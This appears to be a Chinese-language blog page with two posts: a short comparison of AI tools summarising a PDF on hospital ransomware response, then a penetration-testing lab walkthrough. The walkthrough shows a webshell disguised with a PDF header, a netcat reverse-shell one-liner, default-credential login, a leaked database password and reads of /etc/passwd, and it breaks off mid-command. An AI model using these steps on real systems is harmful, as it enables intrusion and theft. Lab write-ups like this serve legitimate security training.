ARIES

 AI 應用 - PDF AI 的另外一個應用，幫我快速看完長篇的 PDF，然後快速提供摘要給我 很多時候都會拿到很多頁的 PDF 檔案，常常沒時間去慢慢看與吸收，但又很重要 這時候就可以透過 AI 快速讀完該檔案，然後將 PDF 的重點摘要給我們 這裡我們用近期比較火紅衛福部出版的醫院勒索病毒攻防報告 全名叫做 "醫院面對勒索軟體攻擊的應變指南.pdf" 包含封面其實短短的沒有幾頁(8 頁而已)，但我就是懶 直接叫 AI 當我們讀然後提供快速的摘要給我看看 餵給 ChatGPT 然後使用 "請幫我提供這一份 PDF 檔案的重點摘要給我" 結果直接整理成三個階段與建議重點 如果覺得內容太簡單了，還可以輸入告訴它輸出內容過於簡單，請再多提供一點資訊給我 就會給予給詳細一點的內容摘要 試試看 ChatGPT 裡面專門針對 PDF 的 AI 看看有沒有甚麼不同 結果雖然不同但大同小異 結論 : 1. 在沒有時間的時候，AI 是一個可以幫你快速讀完整篇 PDF 檔案並產生摘要給你讓你快速吸收 2. 如果所提供的結果摘要過短，可以繼續要求 AI 提供更多一點的資訊 讓我們試試看其他 AI 是否一樣支援幫讀檔案產摘要以及結果輸出 Copilot : 一樣可以幫忙讀取 PDF 與快速產生摘要給我們 Gemini : 一樣沒有問題 Perplexity : 也不錯 Grok : 看來它不是一個讀 PDF 的好工具

 Challenge 3 - SkyLark(2) 下一台目標選定 .225 Rustscan，└─$ rustscan -a 192.168.211.225 --scripts none --ulimit 5000 | tee rustscan 只有 3 個 Port，21、80、8090 snmp check nmap whatweb 80 / 80 /robots.txt gobuster 沒有東西 8090 / 8090 /robots.txt gobuster 8090 gobuster 8090/backend gobuster 8090/backend/default http://192.168.211.225:8090/backend/default/index.php 有個登入頁面 admin:admin 既然可以登入.......看來可以上傳檔案 上傳 test.txt 告知只能上傳 pdf 檔案 改副檔名 test.pdf 上傳一樣失敗，看來會檢查檔案的格式 真實上傳一個 PDF 的檔案格式，看來就能正常上傳了 也可以在 http://192.168.196.225:8090/backend/default/uploads/test.pdf 正常讀取到檔案 修改 webshell 註記是 PDF 檔案格式，於檔案表頭加入 %PDF-1.7 上傳 webshell.php 測試發現成功，也可以正常開啟 http://192.168.196.225:8090/backend/default/uploads/webshell.php 執行 whoami 可以正常執行 使用最好用的 rm 指令，rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.167 4444 >/tmp/f 直接拿到 Reverse Shell 了 先拿取第一階段的 flag 在路徑 /var/www/backend/default 下有一個 config.php 檔案裡面有資料路連接的憑證 postgres:EAZT5EMULA75F8MC cat /etc/passwd 有兩個使用者帳號 uploader、ftpuploader cat /etc/cron...